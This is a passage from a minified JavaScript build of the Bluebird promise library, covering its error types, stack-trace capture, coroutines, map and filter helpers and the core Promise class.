0,c._length=1);for(var l=c._length+1,u=r-2;u>=0;--u)e[u]._length=l,l++;return}}}},O.prototype.attachExtraTrace=function(t){if(!t.__stackCleaned__){this.uncycle();for(var e=j(t),n=e.message,r=[e.stack],i=this;void 0!==i;)r.push(w(i.stack.split("\n"))),i=i._parent;b(r),m(r),H.notEnumerableProp(t,"stack",g(n,r)),H.notEnumerableProp(t,"__stackCleaned__",!0)}};var nt=function(){var t=/^\s*at\s*/,e=function(t,e){return"string"==typeof t?t:void 0!==e.name&&void 0!==e.message?e.toString():F(e)};if("number"==typeof Error.stackTraceLimit&&"function"==typeof Error.captureStackTrace){Error.stackTraceLimit+=6,B=t,M=e;var n=Error.captureStackTrace;return tt=function(t){return U.test(t)},function(t,e){Error.stackTraceLimit+=6,n(t,e),Error.stackTraceLimit-=6}}var r=new Error;if("string"==typeof r.stack&&r.stack.split("\n")[0].indexOf("stackDetection@")>=0)return B=/@/,M=e,q=!0,function(t){t.stack=(new Error).stack};var i;try{throw new Error}catch(o){i="stack"in o}return"stack"in r||!i||"number"!=typeof Error.stackTraceLimit?(M=function(t,e){return"string"==typeof t?t:"object"!=typeof e&&"function"!=typeof e||void 0===e.name||void 0===e.message?F(e):e.toString()},null):(B=t,M=e,function(t){Error.stackTraceLimit+=6;try{throw new Error}catch(e){t.stack=e.stack}Error.stackTraceLimit-=6})}([]);"undefined"!=typeof console&&"undefined"!=typeof console.warn&&(D=function(t){console.warn(t)},H.isNode&&process.stderr.isTTY?D=function(t,e){var n=e?"":"";console.warn(n+t+"\n")}:H.isNode||"string"!=typeof(new Error).stack||(D=function(t,e){console.warn("%c"+t,e?"color: darkorange":"color: red")}));var rt={warnings:$,longStackTraces:!1,cancellation:!1,monitoring:!1};return G&&e.longStackTraces(),{longStackTraces:function(){return rt.longStackTraces},warnings:function(){return rt.warnings},cancellation:function(){return rt.cancellation},monitoring:function(){return rt.monitoring},propagateFromFunction:function(){return Z},boundValueFunction:function(){return h},checkForgottenReturns:d,setBounds:P,warn:y,deprecated:v,CapturedTrace:O,fireDomEvent:W,fireGlobalEvent:K}}},{"./errors":12,"./util":36}],10:[function(t,e,n){"use strict";e.exports=function(t){function e(){return this.value}function n(){throw this.reason}t.prototype["return"]=t.prototype.thenReturn=function(n){return n instanceof t&&n.suppressUnhandledRejections(),this._then(e,void 0,void 0,{value:n},void 0)},t.prototype["throw"]=t.prototype.thenThrow=function(t){return this._then(n,void 0,void 0,{reason:t},void 0)},t.prototype.catchThrow=function(t){if(arguments.length<=1)return this._then(void 0,n,void 0,{reason:t},void 0);var e=arguments[1],r=function(){throw e};return this.caught(t,r)},t.prototype.catchReturn=function(n){if(arguments.length<=1)return n instanceof t&&n.suppressUnhandledRejections(),this._then(void 0,e,void 0,{value:n},void 0);var r=arguments[1];r instanceof t&&r.suppressUnhandledRejections();var i=function(){return r};return this.caught(n,i)}}},{}],11:[function(t,e,n){"use strict";e.exports=function(t,e){function n(){return o(this)}function r(t,n){return i(t,n,e,e)}var i=t.reduce,o=t.all;t.prototype.each=function(t){return this.mapSeries(t)._then(n,void 0,void 0,this,void 0)},t.prototype.mapSeries=function(t){return i(this,t,e,e)},t.each=function(t,e){return r(t,e)._then(n,void 0,void 0,t,void 0)},t.mapSeries=r}},{}],12:[function(t,e,n){"use strict";function r(t,e){function n(r){return this instanceof n?(p(this,"message","string"==typeof r?r:e),p(this,"name",t),void(Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):Error.call(this))):new n(r)}return u(n,Error),n}function i(t){return this instanceof i?(p(this,"name","OperationalError"),p(this,"message",t),this.cause=t,this.isOperational=!0,void(t instanceof Error?(p(this,"message",t.message),p(this,"stack",t.stack)):Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor))):new i(t)}var o,s,a=t("./es5"),c=a.freeze,l=t("./util"),u=l.inherits,p=l.notEnumerableProp,h=r("Warning","warning"),f=r("CancellationError","cancellation error"),_=r("TimeoutError","timeout error"),d=r("AggregateError","aggregate error");try{o=TypeError,s=RangeError}catch(v){o=r("TypeError","type error"),s=r("RangeError","range error")}for(var y="join pop push shift unshift slice filter forEach some every map indexOf lastIndexOf reduce reduceRight sort reverse".split(" "),g=0;g<y.length;++g)"function"==typeof Array.prototype[y[g]]&&(d.prototype[y[g]]=Array.prototype[y[g]]);a.defineProperty(d.prototype,"length",{value:0,configurable:!1,writable:!0,enumerable:!0}),d.prototype.isOperational=!0;var m=0;d.prototype.toString=function(){var t=Array(4*m+1).join(" "),e="\n"+t+"AggregateError of:\n";m++,t=Array(4*m+1).join(" ");for(var n=0;n<this.length;++n){for(var r=this[n]===this?"[Circular AggregateError]":this[n]+"",i=r.split("\n"),o=0;o<i.length;++o)i[o]=t+i[o];r=i.join("\n"),e+=r+"\n"}return m--,e},u(i,Error);var b=Error.__BluebirdErrorTypes__;b||(b=c({CancellationError:f,TimeoutError:_,OperationalError:i,RejectionError:i,AggregateError:d}),a.defineProperty(Error,"__BluebirdErrorTypes__",{value:b,writable:!1,enumerable:!1,configurable:!1})),e.exports={Error:Error,TypeError:o,RangeError:s,CancellationError:b.CancellationError,OperationalError:b.OperationalError,TimeoutError:b.TimeoutError,AggregateError:b.AggregateError,Warning:h}},{"./es5":13,"./util":36}],13:[function(t,e,n){var r=function(){"use strict";return void 0===this}();if(r)e.exports={freeze:Object.freeze,defineProperty:Object.defineProperty,getDescriptor:Object.getOwnPropertyDescriptor,keys:Object.keys,names:Object.getOwnPropertyNames,getPrototypeOf:Object.getPrototypeOf,isArray:Array.isArray,isES5:r,propertyIsWritable:function(t,e){var n=Object.getOwnPropertyDescriptor(t,e);return!(n&&!n.writable&&!n.set)}};else{var i={}.hasOwnProperty,o={}.toString,s={}.constructor.prototype,a=function(t){var e=[];for(var n in t)i.call(t,n)&&e.push(n);return e},c=function(t,e){return{value:t[e]}},l=function(t,e,n){return t[e]=n.value,t},u=function(t){return t},p=function(t){try{return Object(t).constructor.prototype}catch(e){return s}},h=function(t){try{return"[object Array]"===o.call(t)}catch(e){return!1}};e.exports={isArray:h,keys:a,names:a,defineProperty:l,getDescriptor:c,freeze:u,getPrototypeOf:p,isES5:r,propertyIsWritable:function(){return!0}}}},{}],14:[function(t,e,n){"use strict";e.exports=function(t,e){var n=t.map;t.prototype.filter=function(t,r){return n(this,t,r,e)},t.filter=function(t,r,i){return n(t,r,i,e)}}},{}],15:[function(t,e,n){"use strict";e.exports=function(e,n){function r(t,e,n){this.promise=t,this.type=e,this.handler=n,this.called=!1,this.cancelPromise=null}function i(t){this.finallyHandler=t}function o(t,e){return null!=t.cancelPromise?(arguments.length>1?t.cancelPromise._reject(e):t.cancelPromise._cancel(),t.cancelPromise=null,!0):!1}function s(){return c.call(this,this.promise._target()._settledValue())}function a(t){return o(this,t)?void 0:(p.e=t,p)}function c(t){var r=this.promise,c=this.handler;if(!this.called){this.called=!0;var l=this.isFinallyHandler()?c.call(r._boundValue()):c.call(r._boundValue(),t);if(void 0!==l){r._setReturnedNonUndefined();var h=n(l,r);if(h instanceof e){if(null!=this.cancelPromise){if(h.isCancelled()){var f=new u("late cancellation observer");return r._attachExtraTrace(f),p.e=f,p}h.isPending()&&h._attachCancellationCallback(new i(this))}return h._then(s,a,void 0,this,void 0)}}}return r.isRejected()?(o(this),p.e=t,p):(o(this),t)}var l=t("./util"),u=e.CancellationError,p=l.errorObj;return r.prototype.isFinallyHandler=function(){return 0===this.type},i.prototype._resultCancelled=function(){o(this.finallyHandler)},e.prototype._passThrough=function(t,e,n,i){return"function"!=typeof t?this.then():this._then(n,i,void 0,new r(this,e,t),void 0)},e.prototype.lastly=e.prototype["finally"]=function(t){return this._passThrough(t,0,c,c)},e.prototype.tap=function(t){return this._passThrough(t,1,c)},r}},{"./util":36}],16:[function(t,e,n){"use strict";e.exports=function(e,n,r,i,o,s){function a(t,n,r){for(var o=0;o<n.length;++o){r._pushContext();var s=f(n[o])(t);if(r._popContext(),s===h){r._pushContext();var a=e.reject(h.e);return r._popContext(),a}var c=i(s,r);if(c instanceof e)return c}return null}function c(t,n,i,o){var s=this._promise=new e(r);s._captureStackTrace(),s._setOnCancel(this),this._stack=o,this._generatorFunction=t,this._receiver=n,this._generator=void 0,this._yieldHandlers="function"==typeof i?[i].concat(_):_,this._yieldedPromise=null}var l=t("./errors"),u=l.TypeError,p=t("./util"),h=p.errorObj,f=p.tryCatch,_=[];p.inherits(c,o),c.prototype._isResolved=function(){return null===this._promise},c.prototype._cleanup=function(){this._promise=this._generator=null},c.prototype._promiseCancelled=function(){if(!this._isResolved()){var t,n="undefined"!=typeof this._generator["return"];if(n)this._promise._pushContext(),t=f(this._generator["return"]).call(this._generator,void 0),this._promise._popContext();else{var r=new e.CancellationError("generator .return() sentinel");e.coroutine.returnSentinel=r,this._promise._attachExtraTrace(r),this._promise._pushContext(),t=f(this._generator["throw"]).call(this._generator,r),this._promise._popContext(),t===h&&t.e===r&&(t=null)}var i=this._promise;this._cleanup(),t===h?i._rejectCallback(t.e,!1):i.cancel()}},c.prototype._promiseFulfilled=function(t){this._yieldedPromise=null,this._promise._pushContext();var e=f(this._generator.next).call(this._generator,t);this._promise._popContext(),this._continue(e)},c.prototype._promiseRejected=function(t){this._yieldedPromise=null,this._promise._attachExtraTrace(t),this._promise._pushContext();var e=f(this._generator["throw"]).call(this._generator,t);this._promise._popContext(),this._continue(e)},c.prototype._resultCancelled=function(){if(this._yieldedPromise instanceof e){var t=this._yieldedPromise;this._yieldedPromise=null,this._promiseCancelled(),t.cancel()}},c.prototype.promise=function(){return this._promise},c.prototype._run=function(){this._generator=this._generatorFunction.call(this._receiver),this._receiver=this._generatorFunction=void 0,this._promiseFulfilled(void 0)},c.prototype._continue=function(t){var n=this._promise;if(t===h)return this._cleanup(),n._rejectCallback(t.e,!1);var r=t.value;if(t.done===!0)return this._cleanup(),n._resolveCallback(r);var o=i(r,this._promise);if(!(o instanceof e)&&(o=a(o,this._yieldHandlers,this._promise),null===o))return void this._promiseRejected(new u("A value %s was yielded that could not be treated as a promise\n\n    See http://goo.gl/MqrFmX\n\n".replace("%s",r)+"From coroutine:\n"+this._stack.split("\n").slice(1,-7).join("\n")));o=o._target();var s=o._bitField;0===(50397184&s)?(this._yieldedPromise=o,o._proxy(this,null)):0!==(33554432&s)?this._promiseFulfilled(o._value()):0!==(16777216&s)?this._promiseRejected(o._reason()):this._promiseCancelled()},e.coroutine=function(t,e){if("function"!=typeof t)throw new u("generatorFunction must be a function\n\n    See http://goo.gl/MqrFmX\n");var n=Object(e).yieldHandler,r=c,i=(new Error).stack;return function(){var e=t.apply(this,arguments),o=new r(void 0,void 0,n,i),s=o.promise();return o._generator=e,o._promiseFulfilled(void 0),s}},e.coroutine.addYieldHandler=function(t){if("function"!=typeof t)throw new u("expecting a function but got "+p.classString(t));_.push(t)},e.spawn=function(t){if(s.deprecated("Promise.spawn()","Promise.coroutine()"),"function"!=typeof t)return n("generatorFunction must be a function\n\n    See http://goo.gl/MqrFmX\n");var r=new c(t,this),i=r.promise();return r._run(e.spawn),i}}},{"./errors":12,"./util":36}],17:[function(t,e,n){"use strict";e.exports=function(e,n,r,i){var o=t("./util");o.canEvaluate,o.tryCatch,o.errorObj;e.join=function(){var t,e=arguments.length-1;if(e>0&&"function"==typeof arguments[e]){t=arguments[e];var r}var i=[].slice.call(arguments);t&&i.pop();var r=new n(i).promise();return void 0!==t?r.spread(t):r}}},{"./util":36}],18:[function(t,e,n){"use strict";e.exports=function(e,n,r,i,o,s){function a(t,e,n,r){this.constructor$(t),this._promise._captureStackTrace();var i=l();this._callback=null===i?e:i.bind(e),this._preservedValues=r===o?new Array(this.length()):null,this._limit=n,this._inFlight=0,this._queue=n>=1?[]:f,this._init$(void 0,-2)}function c(t,e,n,i){if("function"!=typeof e)return r("expecting a function but got "+u.classString(e));var o="object"==typeof n&&null!==n?n.concurrency:0;return o="number"==typeof o&&isFinite(o)&&o>=1?o:0,new a(t,e,o,i).promise()}var l=e._getDomain,u=t("./util"),p=u.tryCatch,h=u.errorObj,f=[];u.inherits(a,n),a.prototype._init=function(){},a.prototype._promiseFulfilled=function(t,n){
var r=this._values,o=this.length(),a=this._preservedValues,c=this._limit;if(0>n){if(n=-1*n-1,r[n]=t,c>=1&&(this._inFlight--,this._drainQueue(),this._isResolved()))return!0}else{if(c>=1&&this._inFlight>=c)return r[n]=t,this._queue.push(n),!1;null!==a&&(a[n]=t);var l=this._promise,u=this._callback,f=l._boundValue();l._pushContext();var _=p(u).call(f,t,n,o),d=l._popContext();if(s.checkForgottenReturns(_,d,null!==a?"Promise.filter":"Promise.map",l),_===h)return this._reject(_.e),!0;var v=i(_,this._promise);if(v instanceof e){v=v._target();var y=v._bitField;if(0===(50397184&y))return c>=1&&this._inFlight++,r[n]=v,v._proxy(this,-1*(n+1)),!1;if(0===(33554432&y))return 0!==(16777216&y)?(this._reject(v._reason()),!0):(this._cancel(),!0);_=v._value()}r[n]=_}var g=++this._totalResolved;return g>=o?(null!==a?this._filter(r,a):this._resolve(r),!0):!1},a.prototype._drainQueue=function(){for(var t=this._queue,e=this._limit,n=this._values;t.length>0&&this._inFlight<e;){if(this._isResolved())return;var r=t.pop();this._promiseFulfilled(n[r],r)}},a.prototype._filter=function(t,e){for(var n=e.length,r=new Array(n),i=0,o=0;n>o;++o)t[o]&&(r[i++]=e[o]);r.length=i,this._resolve(r)},a.prototype.preservedValues=function(){return this._preservedValues},e.prototype.map=function(t,e){return c(this,t,e,null)},e.map=function(t,e,n,r){return c(t,e,n,r)}}},{"./util":36}],19:[function(t,e,n){"use strict";e.exports=function(e,n,r,i,o){var s=t("./util"),a=s.tryCatch;e.method=function(t){if("function"!=typeof t)throw new e.TypeError("expecting a function but got "+s.classString(t));return function(){var r=new e(n);r._captureStackTrace(),r._pushContext();var i=a(t).apply(this,arguments),s=r._popContext();return o.checkForgottenReturns(i,s,"Promise.method",r),r._resolveFromSyncValue(i),r}},e.attempt=e["try"]=function(t){if("function"!=typeof t)return i("expecting a function but got "+s.classString(t));var r=new e(n);r._captureStackTrace(),r._pushContext();var c;if(arguments.length>1){o.deprecated("calling Promise.try with more than 1 argument");var l=arguments[1],u=arguments[2];c=s.isArray(l)?a(t).apply(u,l):a(t).call(u,l)}else c=a(t)();var p=r._popContext();return o.checkForgottenReturns(c,p,"Promise.try",r),r._resolveFromSyncValue(c),r},e.prototype._resolveFromSyncValue=function(t){t===s.errorObj?this._rejectCallback(t.e,!1):this._resolveCallback(t,!0)}}},{"./util":36}],20:[function(t,e,n){"use strict";function r(t){return t instanceof Error&&u.getPrototypeOf(t)===Error.prototype}function i(t){var e;if(r(t)){e=new l(t),e.name=t.name,e.message=t.message,e.stack=t.stack;for(var n=u.keys(t),i=0;i<n.length;++i){var o=n[i];p.test(o)||(e[o]=t[o])}return e}return s.markAsOriginatingFromRejection(t),t}function o(t,e){return function(n,r){if(null!==t){if(n){var o=i(a(n));t._attachExtraTrace(o),t._reject(o)}else if(e){var s=[].slice.call(arguments,1);t._fulfill(s)}else t._fulfill(r);t=null}}}var s=t("./util"),a=s.maybeWrapAsError,c=t("./errors"),l=c.OperationalError,u=t("./es5"),p=/^(?:name|message|stack|cause)$/;e.exports=o},{"./errors":12,"./es5":13,"./util":36}],21:[function(t,e,n){"use strict";e.exports=function(e){function n(t,e){var n=this;if(!o.isArray(t))return r.call(n,t,e);var i=a(e).apply(n._boundValue(),[null].concat(t));i===c&&s.throwLater(i.e)}function r(t,e){var n=this,r=n._boundValue(),i=void 0===t?a(e).call(r,null):a(e).call(r,null,t);i===c&&s.throwLater(i.e)}function i(t,e){var n=this;if(!t){var r=new Error(t+"");r.cause=t,t=r}var i=a(e).call(n._boundValue(),t);i===c&&s.throwLater(i.e)}var o=t("./util"),s=e._async,a=o.tryCatch,c=o.errorObj;e.prototype.asCallback=e.prototype.nodeify=function(t,e){if("function"==typeof t){var o=r;void 0!==e&&Object(e).spread&&(o=n),this._then(o,i,void 0,this,t)}return this}}},{"./util":36}],22:[function(t,e,n){"use strict";e.exports=function(){function e(){}function n(t,e){if("function"!=typeof e)throw new y("expecting a function but got "+h.classString(e));if(t.constructor!==r)throw new y("the promise constructor cannot be invoked directly\n\n    See http://goo.gl/MqrFmX\n")}function r(t){this._bitField=0,this._fulfillmentHandler0=void 0,this._rejectionHandler0=void 0,this._promise0=void 0,this._receiver0=void 0,t!==m&&(n(this,t),this._resolveFromExecutor(t)),this._promiseCreated(),this._fireEvent("promiseCreated",this)}function i(t){this.promise._resolveCallback(t)}function o(t){this.promise._rejectCallback(t,!1)}function s(t){var e=new r(m);e._fulfillmentHandler0=t,e._rejectionHandler0=t,e._promise0=t,e._receiver0=t}var a,c=function(){return new y("circular promise resolution chain\n\n    See http://goo.gl/MqrFmX\n")},l=function(){return new r.PromiseInspection(this._target())},u=function(t){return r.reject(new y(t))},p={},h=t("./util");a=h.isNode?function(){var t=process.domain;return void 0===t&&(t=null),t}:function(){return null},h.notEnumerableProp(r,"_getDomain",a);var f=t("./es5"),_=t("./async"),d=new _;f.defineProperty(r,"_async",{value:d});var v=t("./errors"),y=r.TypeError=v.TypeError;r.RangeError=v.RangeError;var g=r.CancellationError=v.CancellationError;r.TimeoutError=v.TimeoutError,r.OperationalError=v.OperationalError,r.RejectionError=v.OperationalError,r.AggregateError=v.AggregateError;var m=function(){},b={},w={},C=t("./thenables")(r,m),j=t("./promise_array")(r,m,C,u,e),k=t("./context")(r),E=k.create,F=t("./debuggability")(r,k),x=(F.CapturedTrace,t("./finally")(r,C)),T=t("./catch_filter")(w),R=t("./nodeback"),P=h.errorObj,O=h.tryCatch;return r.prototype.toString=function(){return"[object Promise]"},r.prototype.caught=r.prototype["catch"]=function(t){var e=arguments.length;if(e>1){var n,r=new Array(e-1),i=0;for(n=0;e-1>n;++n){var o=arguments[n];if(!h.isObject(o))return u("expecting an object but got "+h.classString(o));r[i++]=o}return r.length=i,t=arguments[n],this.then(void 0,T(r,t,this))}return this.then(void 0,t)},r.prototype.reflect=function(){return this._then(l,l,void 0,this,void 0)},r.prototype.then=function(t,e){if(F.warnings()&&arguments.length>0&&"function"!=typeof t&&"function"!=typeof e){var n=".then() only accepts functions but was passed: "+h.classString(t);arguments.length>1&&(n+=", "+h.classString(e)),this._warn(n)}return this._then(t,e,void 0,void 0,void 0)},r.prototype.done=function(t,e){var n=this._then(t,e,void 0,void 0,void 0);n._setIsFinal()},r.prototype.spread=function(t){return"function"!=typeof t?u("expecting a function but got "+h.classString(t)):this.all()._then(t,void 0,void 0,b,void 0)},r.prototype.toJSON=function(){var t={isFulfilled:!1,isRejected:!1,fulfillmentValue:void 0,rejectionReason:void 0};return this.isFulfilled()?(t.fulfillmentValue=this.value(),t.isFulfilled=!0):this.isRejected()&&(t.rejectionReason=this.reason(),t.isRejected=!0),t},r.prototype.all=function(){return arguments.length>0&&this._warn(".all() was passed arguments but it does not take any"),new j(this).promise()},r.prototype.error=function(t){return this.caught(h.originatesFromRejection,t)},r.is=function(t){return t instanceof r},r.fromNode=r.fromCallback=function(t){var e=new r(m);e._captureStackTrace();var n=arguments.length>1?!!Object(arguments[1]).multiArgs:!1,i=O(t)(R(e,n));return i===P&&e._rejectCallback(i.e,!0),e._isFateSealed()||e._setAsyncGuaranteed(),e},r.all=function(t){return new j(t).promise()},r.cast=function(t){var e=C(t);return e instanceof r||(e=new r(m),e._captureStackTrace(),e._setFulfilled(),e._rejectionHandler0=t),e},r.resolve=r.fulfilled=r.cast,r.reject=r.rejected=function(t){var e=new r(m);return e._captureStackTrace(),e._rejectCallback(t,!0),e},r.setScheduler=function(t){if("function"!=typeof t)throw new y("expecting a function but got "+h.classString(t));var e=d._schedule;return d._schedule=t,e},r.prototype._then=function(t,e,n,i,o){var s=void 0!==o,c=s?o:new r(m),l=this._target(),u=l._bitField;s||(c._propagateFrom(this,3),c._captureStackTrace(),void 0===i&&0!==(2097152&this._bitField)&&(i=0!==(50397184&u)?this._boundValue():l===this?void 0:this._boundTo),this._fireEvent("promiseChained",this,c));var p=a();if(0!==(50397184&u)){var h,f,_=l._settlePromiseCtx;0!==(33554432&u)?(f=l._rejectionHandler0,h=t):0!==(16777216&u)?(f=l._fulfillmentHandler0,h=e,l._unsetRejectionIsUnhandled()):(_=l._settlePromiseLateCancellationObserver,f=new g("late cancellation observer"),l._attachExtraTrace(f),h=e),d.invoke(_,l,{handler:null===p?h:"function"==typeof h&&p.bind(h),promise:c,receiver:i,value:f})}else l._addCallbacks(t,e,c,i,p);return c},r.prototype._length=function(){return 65535&this._bitField},r.prototype._isFateSealed=function(){return 0!==(117506048&this._bitField)},r.prototype._isFollowing=function(){return 67108864===(67108864&this._bitField)},r.prototype._setLength=function(t){this._bitField=-65536&this._bitField|65535&t},r.prototype._setFulfilled=function(){this._bitField=33554432|this._bitField,this._fireEvent("promiseFulfilled",this)},r.prototype._setRejected=function(){this._bitField=16777216|this._bitField,this._fireEvent("promiseRejected",this)},r.prototype._setFollowing=function(){this._bitField=67108864|this._bitField,this._fireEvent("promiseResolved",this)},r.prototype._setIsFinal=function(){this._bitField=4194304|this._bitField},r.prototype._isFinal=function(){return(4194304&this._bitField)>0},r.prototype._unsetCancelled=function(){this._bitField=-65537&this._bitField},r.prototype._setCancelled=function(){this._bitField=65536|this._bitField,this._fireEvent("promiseCancelled",this)},r.prototype._setAsyncGuaranteed=function(){this._bitField=134217728|this._bitField},r.prototype._receiverAt=function(t){var e=0===t?this._receiver0:this[4*t-4+3];return e===p?void 0:void 0===e&&this._isBound()?this._boundValue():e},r.prototype._promiseAt=function(t){return this[4*t-4+2]},r.prototype._fulfillmentHandlerAt=function(t){return this[4*t-4+0]},r.prototype._rejectionHandlerAt=function(t){return this[4*t-4+1]},r.prototype._boundValue=function(){},r.prototype._migrateCallback0=function(t){var e=(t._bitField,t._fulfillmentHandler0),n=t._rejectionHandler0,r=t._promise0,i=t._receiverAt(0);void 0===i&&(i=p),this._addCallbacks(e,n,r,i,null)},r.prototype._migrateCallbackAt=function(t,e){var n=t._fulfillmentHandlerAt(e),r=t._rejectionHandlerAt(e),i=t._promiseAt(e),o=t._receiverAt(e);void 0===o&&(o=p),this._addCallbacks(n,r,i,o,null)},r.prototype._addCallbacks=function(t,e,n,r,i){var o=this._length();if(o>=65531&&(o=0,this._setLength(0)),0===o)this._promise0=n,this._receiver0=r,"function"==typeof t&&(this._fulfillmentHandler0=null===i?t:i.bind(t)),"function"==typeof e&&(this._rejectionHandler0=null===i?e:i.bind(e));else{var s=4*o-4;this[s+2]=n,this[s+3]=r,"function"==typeof t&&(this[s+0]=null===i?t:i.bind(t)),"function"==typeof e&&(this[s+1]=null===i?e:i.bind(e))}return this._setLength(o+1),o},r.prototype._proxy=function(t,e){this._addCallbacks(void 0,void 0,e,t,null)},r.prototype._resolveCallback=function(t,e){if(0===(117506048&this._bitField)){if(t===this)return this._rejectCallback(c(),!1);var n=C(t,this);if(!(n instanceof r))return this._fulfill(t);e&&this._propagateFrom(n,2);var i=n._target();if(i===this)return void this._reject(c());var o=i._bitField;if(0===(50397184&o)){var s=this._length();s>0&&i._migrateCallback0(this);for(var a=1;s>a;++a)i._migrateCallbackAt(this,a);this._setFollowing(),this._setLength(0),this._setFollowee(i)}else if(0!==(33554432&o))this._fulfill(i._value());else if(0!==(16777216&o))this._reject(i._reason());else{var l=new g("late cancellation observer");i._attachExtraTrace(l),this._reject(l)}}},r.prototype._rejectCallback=function(t,e,n){var r=h.ensureErrorObject(t),i=r===t;if(!i&&!n&&F.warnings()){var o="a promise was rejected with a non-error: "+h.classString(t);this._warn(o,!0)}this._attachExtraTrace(r,e?i:!1),this._reject(t)},r.prototype._resolveFromExecutor=function(t){var e=this;this._captureStackTrace(),this._pushContext();var n=!0,r=this._execute(t,function(t){e._resolveCallback(t)},function(t){e._rejectCallback(t,n)});n=!1,this._popContext(),void 0!==r&&e._rejectCallback(r,!0)},r.prototype._settlePromiseFromHandler=function(t,e,n,r){var i=r._bitField;if(0===(65536&i)){r._pushContext();var o;e===b?n&&"number"==typeof n.length?o=O(t).apply(this._boundValue(),n):(o=P,o.e=new y("cannot .spread() a non-array: "+h.classString(n))):o=O(t).call(e,n);var s=r._popContext();i=r._bitField,0===(65536&i)&&(o===w?r._reject(n):o===P?r._rejectCallback(o.e,!1):(F.checkForgottenReturns(o,s,"",r,this),r._resolveCallback(o)))}},r.prototype._target=function(){for(var t=this;t._isFollowing();)t=t._followee();return t},r.prototype._followee=function(){return this._rejectionHandler0},r.prototype._setFollowee=function(t){this._rejectionHandler0=t},r.prototype._settlePromise=function(t,n,i,o){var s=t instanceof r,a=this._bitField,c=0!==(134217728&a);0!==(65536&a)?(s&&t._invokeInternalOnCancel(),i instanceof x&&i.isFinallyHandler()?(i.cancelPromise=t,O(n).call(i,o)===P&&t._reject(P.e)):n===l?t._fulfill(l.call(i)):i instanceof e?i._promiseCancelled(t):s||t instanceof j?t._cancel():i.cancel()):"function"==typeof n?s?(c&&t._setAsyncGuaranteed(),this._settlePromiseFromHandler(n,i,o,t)):n.call(i,o,t):i instanceof e?i._isResolved()||(0!==(33554432&a)?i._promiseFulfilled(o,t):i._promiseRejected(o,t)):s&&(c&&t._setAsyncGuaranteed(),0!==(33554432&a)?t._fulfill(o):t._reject(o))},r.prototype._settlePromiseLateCancellationObserver=function(t){var e=t.handler,n=t.promise,i=t.receiver,o=t.value;"function"==typeof e?n instanceof r?this._settlePromiseFromHandler(e,i,o,n):e.call(i,o,n):n instanceof r&&n._reject(o)},r.prototype._settlePromiseCtx=function(t){this._settlePromise(t.promise,t.handler,t.receiver,t.value)},r.prototype._settlePromise0=function(t,e,n){var r=this._promise0,i=this._receiverAt(0);this._promise0=void 0,this._receiver0=void 0,this._settlePromise(r,t,i,e)},r.prototype._clearCallbackDataAtIndex=function(t){var e=4*t-4;this[e+2]=this[e+3]=this[e+0]=this[e+1]=void 0},r.prototype._fulfill=function(t){var e=this._bitField;if(!((117506048&e)>>>16)){if(t===this){var n=c();return this._attachExtraTrace(n),this._reject(n)}this._setFulfilled(),this._rejectionHandler0=t,(65535&e)>0&&(0!==(134217728&e)?this._settlePromises():d.settlePromises(this))}},r.prototype._reject=function(t){var e=this._bitField;if(!((117506048&e)>>>16))return this._setRejected(),this._fulfillmentHandler0=t,this._isFinal()?d.fatalError(t,h.isNode):void((65535&e)>0?d.settlePromises(this):this._ensurePossibleRejectionHandled())},r.prototype._fulfillPromises=function(t,e){for(var n=1;t>n;n++){var r=this._fulfillmentHandlerAt(n),i=this._promiseAt(n),o=this._receiverAt(n);this._clearCallbackDataAtIndex(n),this._settlePromise(i,r,o,e)}},r.prototype._rejectPromises=function(t,e){for(var n=1;t>n;n++){var r=this._rejectionHandlerAt(n),i=this._promiseAt(n),o=this._receiverAt(n);this._clearCallbackDataAtIndex(n),this._settlePromise(i,r,o,e)}},r.prototype._settlePromises=function(){var t=this._bitField,e=65535&t;if(e>0){if(0!==(16842752&t)){var n=this._fulfillmentHandler0;this._settlePromise0(this._rejectionHandler0,n,t),this._rejectPromises(e,n)}else{var r=this._rejectionHandler0;this._settlePromise0(this._fulfillmentHandler0,r,t),this._fulfillPromises(e,r)}this._setLength(0)}this._clearCancellationData()},r.prototype._settledValue=function(){var t=this._bitField;return 0!==(33554432&t)?this._rejectionHandler0:0!==(16777216&t)?this._fulfillmentHandler0:void 0},r.defer=r.pending=function(){F.deprecated("Promise.defer","new Promise");var t=new r(m);return{promise:t,resolve:i,reject:o}},h.notEnumerableProp(r,"_makeSelfResolutionError",c),t("./method")(r,m,C,u,F),t("./bind")(r,m,C,F),t("./cancel")(r,j,u,F),t("./direct_resolve")(r),t("./synchronous_inspection")(r),t("./join")(r,j,C,m,F),r.Promise=r,t("./map.js")(r,j,u,C,m,F),t("./using.js")(r,u,C,E,m,F),t("./timers.js")(r,m,F),t("./generators.js")(r,u,m,C,e,F),t("./nodeify.js")(r),t("./call_get.js")(r),t("./props.js")(r,j,C,u),t("./race.js")(r,m,C,u),t("./reduce.js")(r,j,u,C,m,F),t("./settle.js")(r,j,F),t("./some.js")(r,j,u),t("./promisify.js")(r,m),t("./any.js")(r),t("./each.js")(r,m),t("./filter.js")(r,m),h.toFastProperties(r),h.toFastProperties(r.prototype),s({a:1}),s({b:2}),s({c:3}),s(1),s(function(){}),s(void 0),s(!1),s(new r(m)),F.setBounds(_.firstLineError,h.lastLineError),r}},{"./any.js":1,"./async":2,"./bind":3,"./call_get.js":5,"./cancel":6,"./catch_filter":7,"./context":8,"./debuggability":9,"./direct_resolve":10,"./each.js":11,"./errors":12,"./es5":13,"./filter.js":14,"./finally":15,"./generators.js":16,"./join":17,"./map.js":18,"./method":19,"./nodeback":20,"./nodeify.js":21,"./promise_array":23,"./promisify.js":24,"./props.js":25,"./race.js":27,"./reduce.js":28,"./settle.js":30,"./some.js":31,"./synchronous_inspection":32,"./thenables":33,"./timers.js":34,"./using.js":35,"./util":36}],23:[function(t,e,n){"use strict";e.exports=function(e,n,r,i,o){function s(t){switch(t){case-2:return[];case-3:return{}}}function a(t){var r=this._promise=new e(n);t instanceof e&&r._propagateFrom(t,3),r._setOnCancel(this),this._values=t,this._length=0,this._totalResolved=0,this._init(void 0,-2)}var c=t("./util");c.isArray;return c.inherits(a,o),a.prototype.length=function(){return this._length},a.prototype.promise=function(){return this._promise},a.prototype._init=function l(t,n){var o=r(this._values,this._promise);if(o instanceof e){o=o._target();var a=o._bitField;if(this._values=o,0===(50397184&a))return this._promise._setAsyncGuaranteed(),o._then(l,this._reject,void 0,this,n);if(0===(33554432&a))return 0!==(16777216&a)?this._reject(o._reason()):this._cancel();o=o._value()}if(o=c.asArray(o),null===o){var u=i("expecting an array or an iterable object but got 